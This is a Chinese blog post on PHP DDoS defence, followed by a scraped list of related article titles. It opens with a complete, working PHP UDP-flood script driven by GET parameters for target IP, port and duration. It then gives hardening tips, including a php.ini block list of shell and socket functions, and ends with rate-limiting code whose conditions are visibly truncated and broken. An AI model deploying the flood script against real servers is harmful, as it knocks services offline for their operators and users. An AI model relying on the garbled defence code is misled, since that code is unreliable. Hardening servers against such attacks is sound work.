我们先来看php ddos代码

代码如下

$packets = 0;

$ip = $_GET['ip'];

$rand = $_GET['port'];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time = $_GET['time'];

$time = time();

print "Flooded: $ip on port $rand

";

$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){

$out .= "X";

}

while(1){

$packets++;

if(time() > $max_time){

break;

}

$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

if($fp){

fwrite($fp, $out);

fclose($fp);

}

}

echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";

?>

细心的朋友会发现fsockopen是一个主要攻击函数了,不断连接发送请求导致机器流量与cpu过多从而网站不对正常访问了。

于是简单的研究了一下PHP DDos脚本构造,并有所收获,下面介绍几点可以最大程度避免的方法:

注意:以下操作具有危险性,对于造成的任何后果,与傲游无关,请谨慎操作。

1.打开php.ini

2.禁用危险函数

由于程序不同,函数要求也不同,所以请客户自行增删需要禁用的函数。

找到disable_functions,将前面的“;”去掉,在等号后面增加:

代码如下

phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,

proc_get_status,fsocket,fsockopen

3.设置PHP执行超时时间

如果程序未执行结束但已经达到最大执行时间,则会被强制停止,请根据需要调整时间。

找到max_execution_time,将前面的“;”去掉,在等号后面增加正整数,单位为秒,如:30

4.禁用上传目录PHP执行权限

大概分为三种服务器: IIS,Apache、Nginx,具体步骤就不写了,放出个链接供大家参考:

iis与apache取消目录脚本执行权限方法:http://www.111com.net/sys/Windows/46232.htm

5.一个很暴力的方法

直接禁止PHP执行,原因是很多站点都可以生成静态网页的,每次生成或者管理都去手工打开PHP执行权限,现在已经有几个用户使用这种方法了,具体方法参见方法4

6.关闭用户中心

比如dede等cms都会有用户中心,里面有很多上传的地方,这就是大概的问题所在。

7.修改管理员目录

这个方法就不细谈了,并不是对所有程序都适合。

8.修改默认管理帐号

很多人都习惯使用:admin  但是如果程序出现漏洞,很容易被猜测出admin的密码,所以建议修改admin为其他登录名。

9.一个复杂且记得住的密码

不管是Windows/Linux的系统用户还是网站管理员的账户,都需要设置一个难以猜解的密码,如:123hai@tang@.

后再再附一个php防ddos攻击的代码

代码如下

//加入禁止IP

$time=time();

$fileforbid="log/forbidchk.dat";

if(file_exists($fileforbid))

{ if($time-filemtime($fileforbid)>60)unlink($fileforbid);

else{

$fileforbidarr=@file($fileforbid);

if($ip==substr($fileforbidarr[0],0,strlen($ip)))

{

if($time-substr($fileforbidarr[1],0,strlen($time))>600)unlink($fileforbid);

elseif($fileforbidarr[2]>600){file_put_contents($fileht,$ip."rn",FILE_APPEND);unlink($fileforbid);}

else{$fileforbidarr[2]++;file_put_contents($fileforbid,$fileforbidarr);}

}

}

}

//防刷新

$str="";

$file="log/ipdate.dat";

if(!file_exists("log")&&!is_dir("log"))mkdir("log",0777);

if(!file_exists($file))file_put_contents($file,"");

$allowTime = 120;//防刷新时间

$allowNum=10;//防刷新次数

$uri=$_SERVER['REQUEST_URI'];

$checkip=md5($ip);

$checkuri=md5($uri);

$yesno=true;

$ipdate=@file($file);

foreach($ipdate as $k=>$v)

{ $iptem=substr($v,0,32);

$uritem=substr($v,32,32);

$timetem=substr($v,64,10);

$numtem=substr($v,74);

if($time-$timetem

if($iptem!=$checkip)$str.=$v;

else{

$yesno=false;

if($uritem!=$checkuri)$str.=$iptem.$checkuri.$time."1rn";

elseif($numtem

else

{

if(!file_exists($fileforbid)){$addforbidarr=array($ip."rn",time()."rn",1);file_put_contents($fileforbid,$addforbidarr);}

file_put_contents("log/forbided_ip.log",$ip."--".date("Y-m-d H:i:s",time())."--".$uri."rn",FILE_APPEND);

$timepass=$timetem+$allowTime-$time;

die("Warning:"."

"."Sorry,you are forbided by refreshing frequently too much, Pls wait for ".$timepass." seconds to continue!");

}

}

}

}

if($yesno) $str.=$checkip.$checkuri.$time."1rn";

file_put_contents($file,$str);

?>

相关教程 :

php ddos 防御,PHP DDos的几个防御方法详解相关推荐

  1. linux下防DDOS攻击软件及使用方法详解

    互联网如同现实社会一样充满钩心斗角,网站被DDOS也成为站长最头疼的事.在没有硬防的情况下,寻找软件代替是最直接的方法,比如用 iptables,但是iptables不能在自动屏蔽,只能手动屏蔽. 一 ...

  2. php 防ddos,PHP DDos的几个防御方法详解

    这类攻击有一个最大的特性,就是上传流量霎时增大,通常流量高达数十以至近百M,将整台效 劳器,以至将整台机柜的宽带堵住,使网站无法运转,而这样的攻击,我们无法从远程处理,一但那个phpshell运转,你 ...

  3. linux下防DDOS***软件及使用方法详解

    互联网如同现实社会一样充满钩心斗角,网站被DDOS也成为站长最头疼的事.在没有硬防的情况下,寻找软件代替是最直接的方法,比如用 iptables,但是iptables不能在自动屏蔽,只能手动屏蔽. 一 ...

  4. 2020最全详解DDoS的攻击原理与防御方法

    DoS是Denial of Service的简写就是拒绝服务,而DDoS就是Distributed Denial of Service的简写就是分布式拒绝服务,而DRDoS就是Distributed ...

  5. Linux下防御/减轻DDOS***的方法

    今天要说的就是一款能够自动屏蔽DDOS***者IP的软件:DDoS deflate. 公司新的系统上线在即,防止别人***是一件令人头疼的事情.程序上的问题由开发的人员去处理,作为系统管理人员服务器的 ...

  6. ddos压力测试_蓝盟IT外包,浅析DDoS攻击防御和DDoS攻击原理

    DDoS攻击基础 DDoS(Distributed Denial of Service,分布式拒绝服务)攻击的主要目的是让指定目标无法提供正常服务,甚至从互联网上消失,是目前最强大.最难防御的攻击之一 ...

  7. ddos攻击怎么防御,一文了解如何防御DDoS攻击

    DDoS攻击是目前最普遍的网络攻击手段,DDoS攻击非常受黑客欢迎,因为DDoS攻击非常有效,易于启动,并且几乎不会留下痕迹.那么如何防御DDoS攻击呢?你能否确保对你的web服务器和应用程序提供高级 ...

  8. 700Gddos高防ip可以防御多少ddos cc攻击

    700Gddos高防可以防御多少ddos cc攻击 700Gddos高防ip按这个数据是可以防御700G的ddos攻击流量的 不超这个量多没事 超了就看商家有没有更高的防御了 cc攻击目前也是主流的攻 ...

  9. DDoS deflate - Linux下防御/减轻DDOS攻击

    前言 互联网如同现实社会一样充满钩心斗角,网站被DDOS也成为站长最头疼的事.在没有硬防的情况下,寻找软件代替是最直接的方法,比如用iptables,但是iptables不能在自动屏蔽,只能手动屏蔽. ...

  10. 最常见DDOS攻击工具有哪些?怎么防御DDOS攻击?

    Botnets是由多个感染的计算机(称为"bots"或"zombies")组成的网络.这些感染的计算机受到攻击者的控制,可以同时发送大量的数据流量到目标网站,导 ...

最新文章

  1. 无限城市助力智慧城市 挥毫创新3.0时代
  2. 面试时真能“坦白从宽”?
  3. 81. Leetcode 21. 合并两个有序链表 (排序)
  4. 三角形css_使用css绘制三角形
  5. [BTS]使用BizTalk开发应用系统,就是这么简单!
  6. html文件嵌入到reportlab,Reportlab学习笔记
  7. cpu卡操作协议iso14443协议
  8. 小程序 坚屏_如何构建坚如磐石的应用程序
  9. 牛客16426 玩具谜题
  10. git restore
  11. iOS原生混合RN开发最佳实践
  12. HDU2110 Crisis of HDU【母函数】
  13. k8s之创建etcd集群
  14. 具体案例 快速原型模型_3D快速成型技术需要传统加工方法30%~50%的工时和20%~35%的成本,可以如此地降低成本?...
  15. prepareStatement的批量处理数据
  16. vivo手机拍照有什么技巧,如何拍出精美照片?
  17. PSPICE报错ERROR(ORPSIM-16276): Can‘t find library
  18. !!!---1588|Sum of All Odd Length Subarrays(新)
  19. 纯javascript的HTML在线编辑器
  20. 深度学习中:epoch、batch size和iterations之间的关系

热门文章

  1. QQ-AR实物识别!香蕉扫一扫,解救小黄人?
  2. 不容错过 | 华为内部资料--成功的项目管理PPT(123页)
  3. linux安装svn服务器的两种方式(转载)
  4. c语言的编译器vs2019的安装及简单实用
  5. 使用markdown写大论文
  6. 动态生成 fastCall(易语言 调用WKE浏览器)
  7. 2022 ECCV 三维人体重建相关论文汇总
  8. 海康威视录像机(DS-8632N-E8)开机卡LOGO
  9. Visio2010如何安装
  10. html用什么打开swf文件怎么打开,swf文件用什么打开,详细教您打开swf文件的操作...